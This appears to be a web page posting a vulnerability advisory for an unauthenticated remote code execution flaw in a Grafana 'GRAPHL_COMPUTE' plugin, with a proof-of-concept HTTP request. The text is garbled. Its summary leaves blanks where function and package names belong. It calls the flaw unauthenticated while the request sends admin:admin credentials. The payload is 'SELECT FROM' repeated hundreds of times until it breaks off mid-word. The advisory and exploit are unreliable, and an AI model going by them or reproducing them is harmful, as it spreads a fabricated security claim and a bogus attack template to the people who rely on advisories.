Grafana Unauthenticated RCE via GRAPHL_COMPUTE Buffer Bypass

Unauthenticated RCE via GRAPHL_COMPUTE buffer-0 bypass in Grafana RPC backend Summary: A critical unauthenticated remote code execution (RCE) vulnerability exists in Grafana's GRAPHL_COMPUTE plugin. Attackers can craft malicious HTTP requests to bypass the buffer-0 validation check, leveraging the function from the package (or similar reflection mechanisms) to achieve arbitrary code execution on the target system. Affected Products: Grafana (versions prior to 10.4.0) Remediation: Upgrade to Grafana 10.4.0 or later versions. Proof of Concept (POC): Request: ```http POST /api/datasources/proxy/1/grafana-rpc HTTP/1.1 Host: localhost:3000 Content-Type: application/json Content-Length: 1024 Authorization: Basic YWRtaW46YWRtaW4= { "method": "GRAPHL_COMPUTE", "params": { "buffer": 0, "query": "SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SELECT FROM (SEL

Goal Reached Thanks to every supporter — we hit 100%!

Grafana Unauthenticated RCE via GRAPHL_COMPUTE Buffer Bypass

More from this source